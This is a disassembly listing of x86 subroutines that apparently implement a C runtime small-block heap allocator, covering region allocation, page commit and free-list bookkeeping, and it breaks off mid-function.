mov eax, dword_4DC8F8
mov ecx, dword_4DC8E8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DC8FC
push edi
push dword_4DC904
nop
call near ptr 2850000h
cmp eax, edi
jz short loc_41E567
add dword_4DC8E8, 10h
mov dword_4DC8FC, eax
mov eax, dword_4DC8F8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DC8FC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DC904
lea esi, [ecx+eax*4]
call near ptr 27B0000h
nop
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 28A080Ch
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DC904
nop
call near ptr 27A0000h
loc_41E567: ; CODE XREF: sub_41E4D4+30j
; sub_41E4D4+67j
xor eax, eax
jmp short loc_41E582
; ---------------------------------------------------------------------------
loc_41E56B: ; CODE XREF: sub_41E4D4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DC8F8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41E582: ; CODE XREF: sub_41E4D4+95j
pop edi
pop esi
retn
sub_41E4D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41E597: ; CODE XREF: sub_41E585+19j
test eax, eax
jl short loc_41E5A0
shl eax, 1
inc ebx
jmp short loc_41E597
; ---------------------------------------------------------------------------
loc_41E5A0: ; CODE XREF: sub_41E585+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41E5B5: ; CODE XREF: sub_41E585+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41E5B5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call near ptr 28A080Ch
nop
test eax, eax
jnz short loc_41E5E8
or eax, 0FFFFFFFFh
jmp loc_41E67B
; ---------------------------------------------------------------------------
loc_41E5E8: ; CODE XREF: sub_41E585+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41E62E
lea eax, [edi+10h]
loc_41E5F5: ; CODE XREF: sub_41E585+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41E5F5
loc_41E62E: ; CODE XREF: sub_41E585+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41E66B
or [eax+4], edi
loc_41E66B: ; CODE XREF: sub_41E585+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41E67B: ; CODE XREF: sub_41E585+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41E585 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41E82E
test bl, 1
jnz loc_41E827
add ebx, ecx
cmp esi, ebx
jg loc_41E827
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41E6F7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41E6F7: ; CODE XREF: sub_41E680+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41E747
cmp ecx, 20h
jnb short loc_41E723
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E747
; ---------------------------------------------------------------------------
loc_41E723: ; CODE XREF: sub_41E680+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E747
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E747: ; CODE XREF: sub_41E680+7Dj
; sub_41E680+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41E815
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41E781
push 3Fh
pop edi
loc_41E781: ; CODE XREF: sub_41E680+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41E803
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41E7DA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7CD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E7CD: ; CODE XREF: sub_41E680+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41E7FF
; ---------------------------------------------------------------------------
loc_41E7DA: ; CODE XREF: sub_41E680+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41E7F0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E7F0: ; CODE XREF: sub_41E680+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41E7FF: ; CODE XREF: sub_41E680+158j
shr edx, cl
or [eax], edx
loc_41E803: ; CODE XREF: sub_41E680+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41E818
; ---------------------------------------------------------------------------
loc_41E815: ; CODE XREF: sub_41E680+E5j
mov edx, [ebp+arg_4]
loc_41E818: ; CODE XREF: sub_41E680+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41E96E
; ---------------------------------------------------------------------------
loc_41E827: ; CODE XREF: sub_41E680+52j
; sub_41E680+5Cj
xor eax, eax
jmp loc_41E971
; ---------------------------------------------------------------------------
loc_41E82E: ; CODE XREF: sub_41E680+49j
jge loc_41E96E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41E859
push 3Fh
pop esi
loc_41E859: ; CODE XREF: sub_41E680+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41E8E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E872
push 3Fh
pop esi
loc_41E872: ; CODE XREF: sub_41E680+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41E8C1
cmp esi, 20h
jnb short loc_41E89D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E8BE
; ---------------------------------------------------------------------------
loc_41E89D: ; CODE XREF: sub_41E680+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E8BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E8BE: ; CODE XREF: sub_41E680+214j
; sub_41E680+21Bj ...
mov ebx, [ebp+arg_4]
loc_41E8C1: ; CODE XREF: sub_41E680+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41E8E8
push 3Fh
pop esi
loc_41E8E8: ; CODE XREF: sub_41E680+1DDj
; sub_41E680+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E965
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41E93C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E92F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41E92F: ; CODE XREF: sub_41E680+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41E961
; ---------------------------------------------------------------------------
loc_41E93C: ; CODE XREF: sub_41E680+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E952
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41E952: ; CODE XREF: sub_41E680+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41E961: ; CODE XREF: sub_41E680+2BAj
shr edx, cl
or [eax], edx
loc_41E965: ; CODE XREF: sub_41E680+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41E96E: ; CODE XREF: sub_41E680+1A2j
; sub_41E680:loc_41E82Ej
push 1
pop eax
loc_41E971: ; CODE XREF: sub_41E680+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41E680 endp
; =============== S U B R O U T I N E =======================================
sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp
cmp dword_43A2E0, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41E98A
mov esi, offset off_43A2D0
jmp short loc_41E9A7
; ---------------------------------------------------------------------------
loc_41E98A: ; CODE XREF: sub_41E976+Bj
push 2020h
push 0
push dword_4DC904
call near ptr 27B0000h
nop
mov esi, eax
test esi, esi
jz loc_41EAB3
loc_41E9A7: ; CODE XREF: sub_41E976+12j
mov ebp, dword_4271C4
push 4
push 2000h
push 400000h
push 0
call ebp
mov edi, eax
test edi, edi
jz loc_41EA9C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp
test eax, eax
jz loc_41EA8E
mov eax, offset off_43A2D0
cmp esi, eax
jnz short loc_41EA06
cmp off_43A2D0, 0
jnz short loc_41E9F6
mov off_43A2D0, eax
loc_41E9F6: ; CODE XREF: sub_41E976+79j
cmp off_43A2D4, 0
jnz short loc_41EA1B
mov off_43A2D4, eax
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA06: ; CODE XREF: sub_41E976+70j
mov [esi], eax
mov eax, off_43A2D4
mov [esi+4], eax
mov off_43A2D4, esi
mov eax, [esi+4]
mov [eax], esi
loc_41EA1B: ; CODE XREF: sub_41E976+87j
; sub_41E976+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41EA3D: ; CODE XREF: sub_41E976+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41EA3D
push ebx
push 0
push edi
call sub_41B590
add esp, 0Ch
loc_41EA66: ; CODE XREF: sub_41E976+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41EA8A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41EA66
; ---------------------------------------------------------------------------
loc_41EA8A: ; CODE XREF: sub_41E976+F7j
mov eax, esi
jmp short loc_41EAB5
; ---------------------------------------------------------------------------
loc_41EA8E: ; CODE XREF: sub_41E976+63j
push 8000h
push 0
push edi
nop
call near ptr 28A06D0h
loc_41EA9C: ; CODE XREF: sub_41E976+4Bj
cmp esi, offset off_43A2D0
jz short loc_41EAB3
push esi
push 0
push dword_4DC904
nop
call near ptr 27A0000h
loc_41EAB3: ; CODE XREF: sub_41E976+2Bj
; sub_41E976+12Cj
xor eax, eax
loc_41EAB5: ; CODE XREF: sub_41E976+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E976 endp
; =============== S U B R O U T I N E =======================================
sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call near ptr 28A06D0h
nop
cmp off_43C2F0, esi
jnz short loc_41EADF
mov eax, [esi+4]
mov off_43C2F0, eax
loc_41EADF: ; CODE XREF: sub_41EABA+1Bj
cmp esi, offset off_43A2D0
jz short loc_41EB07
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DC904
nop
call near ptr 27A0000h
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EB07: ; CODE XREF: sub_41EABA+2Bj
or dword_43A2E0, 0FFFFFFFFh
pop esi
retn
sub_41EABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43A2D4
push edi
loc_41EB1D: ; CODE XREF: sub_41EB10+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41EBBB
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41EB36: ; CODE XREF: sub_41EB10+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41EB77
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call near ptr 28A06D0h
nop
test eax, eax
jz short loc_41EB77
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DB2F4
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41EB6C
cmp eax, edi
jbe short loc_41EB6F
loc_41EB6C: ; CODE XREF: sub_41EB10+56j
mov [esi+0Ch], edi
loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41EB84
loc_41EB77: ; CODE XREF: sub_41EB10+2Cj
; sub_41EB10+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41EB36
loc_41EB84: ; CODE XREF: sub_41EB10+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41EBBB
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41EBBB
push 1
lea eax, [ecx+20h]
pop edx
loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EBAC
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41EB9B
loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej
cmp edx, 400h
jnz short loc_41EBBB
push ecx
call sub_41EABA
pop ecx
loc_41EBBB: ; CODE XREF: sub_41EB10+11j
; sub_41EB10+7Dj ...
cmp esi, off_43A2D4
jz short loc_41EBCD
cmp [ebp+arg_0], 0
jg loc_41EB1D
loc_41EBCD: ; CODE XREF: sub_41EB10+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41EB10 endp
; =============== S U B R O U T I N E =======================================
sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap
; sub_41B202+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43A2D0
push esi
mov ecx, edx
loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj
cmp eax, [ecx+10h]
jbe short loc_41EBE8
cmp eax, [ecx+14h]
jb short loc_41EBF0
loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41EC25
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBF0: ; CODE XREF: sub_41EBD2+14j
test al, 0Fh
jnz short loc_41EC25
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41EC25
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj
; sub_41EBD2+20j ...
xor eax, eax
pop esi
retn
sub_41EBD2 endp
; =============== S U B R O U T I N E =======================================
sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp
; sub_41B202+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41EC6D
inc dword_4DB2F4
cmp dword_4DB2F4, 20h
jnz short locret_41EC6D
push 10h
call sub_41EB10
pop ecx
locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj
; sub_41EC29+3Aj
retn
sub_41EC29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp
; sub_41B513+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43C2F0
push edi
loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41ED27
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41ECE1
loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41ECCA
cmp [edi+4], ebx
jbe short loc_41ECCA
push ebx
push ecx
push eax
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41ECCA: ; CODE XREF: sub_41EC6E+40j
; sub_41EC6E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41ECA7
jmp short loc_41ECE4
; ---------------------------------------------------------------------------
loc_41ECE1: ; CODE XREF: sub_41EC6E+37j
mov ebx, [ebp+arg_0]
loc_41ECE4: ; CODE XREF: sub_41EC6E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41ED2A
loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41ED16
cmp [edi+4], ebx
jbe short loc_41ED16
push ebx
push eax
push [ebp+var_4]
call sub_41EE76
add esp, 0Ch
test eax, eax
jnz short loc_41ED39
mov [edi+4], ebx
loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj
; sub_41EC6E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_41ECF7
jmp short loc_41ED2A
; ---------------------------------------------------------------------------
loc_41ED27: ; CODE XREF: sub_41EC6E+14j
mov ebx, [ebp+arg_0]
loc_41ED2A: ; CODE XREF: sub_41EC6E+87j
; sub_41EC6E+B7j
mov esi, [esi]
cmp esi, off_43C2F0
jz short loc_41ED49
jmp loc_41EC7C
; ---------------------------------------------------------------------------
loc_41ED39: ; CODE XREF: sub_41EC6E+54j
; sub_41EC6E+A3j
mov off_43C2F0, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41EE71
; ---------------------------------------------------------------------------
loc_41ED49: ; CODE XREF: sub_41EC6E+C4j
mov eax, offset off_43A2D0
mov edi, eax
loc_41ED50: ; CODE XREF: sub_41EC6E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41ED5C
cmp dword ptr [edi+0Ch], 0
jnz short loc_41ED68
loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41EE3D
jmp short loc_41ED50
; ---------------------------------------------------------------------------
loc_41ED68: ; CODE XREF: sub_41EC6E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41ED97
loc_41ED86: ; CODE XREF: sub_41EC6E+127j
cmp [ebp+var_4], 10h
jge short loc_41ED97
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41ED86
loc_41ED97: ; CODE XREF: sub_41EC6E+116j
; sub_41EC6E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call near ptr 28A080Ch
nop
cmp eax, esi
jnz loc_41EE6F
push 0
push [ebp+var_8]
push esi
call sub_41B590
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41EDFE
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41EDD4
loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej
mov off_43C2F0, edi
lea eax, [edi+2018h]
loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j
cmp ecx, eax
jnb short loc_41EE1A
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41EE18
add ecx, 8
jmp short loc_41EE0A
; ---------------------------------------------------------------------------
loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j
cmp ecx, eax
loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j
call sub_41E976
test eax, eax
jz short loc_41EE6F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43C2F0, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41EE71
; ---------------------------------------------------------------------------
loc_41EE6F: ; CODE XREF: sub_41EC6E+143j
; sub_41EC6E+1D6j
xor eax, eax
loc_41EE71: ; CODE XREF: sub_41EC6E+D6j
; sub_41EC6E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41EC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap
; sub_41EC6E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41EEBB
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41EEAA
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41EEB3
; ---------------------------------------------------------------------------
loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EEB3: ; CODE XREF: sub_41EE76+32j
lea eax, [edi+8]
jmp loc_41EF89
; ---------------------------------------------------------------------------
loc_41EEBB: ; CODE XREF: sub_41EE76+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41EEC4
mov eax, esi
loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41EF0E
loc_41EECB: ; CODE XREF: sub_41EE76+96j
mov bl, [eax]
test bl, bl
jnz short loc_41EF01
push 1
lea ebx, [eax+1]
pop esi
loc_41EED7: ; CODE XREF: sub_41EE76+68j
cmp byte ptr [ebx], 0
jnz short loc_41EEE0
inc ebx
inc esi
jmp short loc_41EED7
; ---------------------------------------------------------------------------
loc_41EEE0: ; CODE XREF: sub_41EE76+64j
cmp esi, edx
jnb short loc_41EF32
cmp eax, [ebp+var_4]
jnz short loc_41EEEE
mov [ecx+4], esi
jmp short loc_41EEFA
; ---------------------------------------------------------------------------
loc_41EEEE: ; CODE XREF: sub_41EE76+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41EF93
loc_41EEFA: ; CODE XREF: sub_41EE76+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41EF06
; ---------------------------------------------------------------------------
loc_41EF01: ; CODE XREF: sub_41EE76+59j
movzx esi, bl
add eax, esi
loc_41EF06: ; CODE XREF: sub_41EE76+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41EECB
loc_41EF0E: ; CODE XREF: sub_41EE76+53j
lea esi, [ecx+8]
loc_41EF11: ; CODE XREF: sub_41EE76+EBj
; sub_41EE76+F2j
cmp esi, edi
jnb short loc_41EF93
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41EF93
mov al, [esi]
test al, al
jnz short loc_41EF63
push 1
lea ebx, [esi+1]
pop eax
loc_41EF29: ; CODE XREF: sub_41EE76+BAj
cmp byte ptr [ebx], 0
jnz short loc_41EF53
inc ebx
inc eax
jmp short loc_41EF29
; ---------------------------------------------------------------------------
loc_41EF32: ; CODE XREF: sub_41EE76+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF43
sub esi, edx
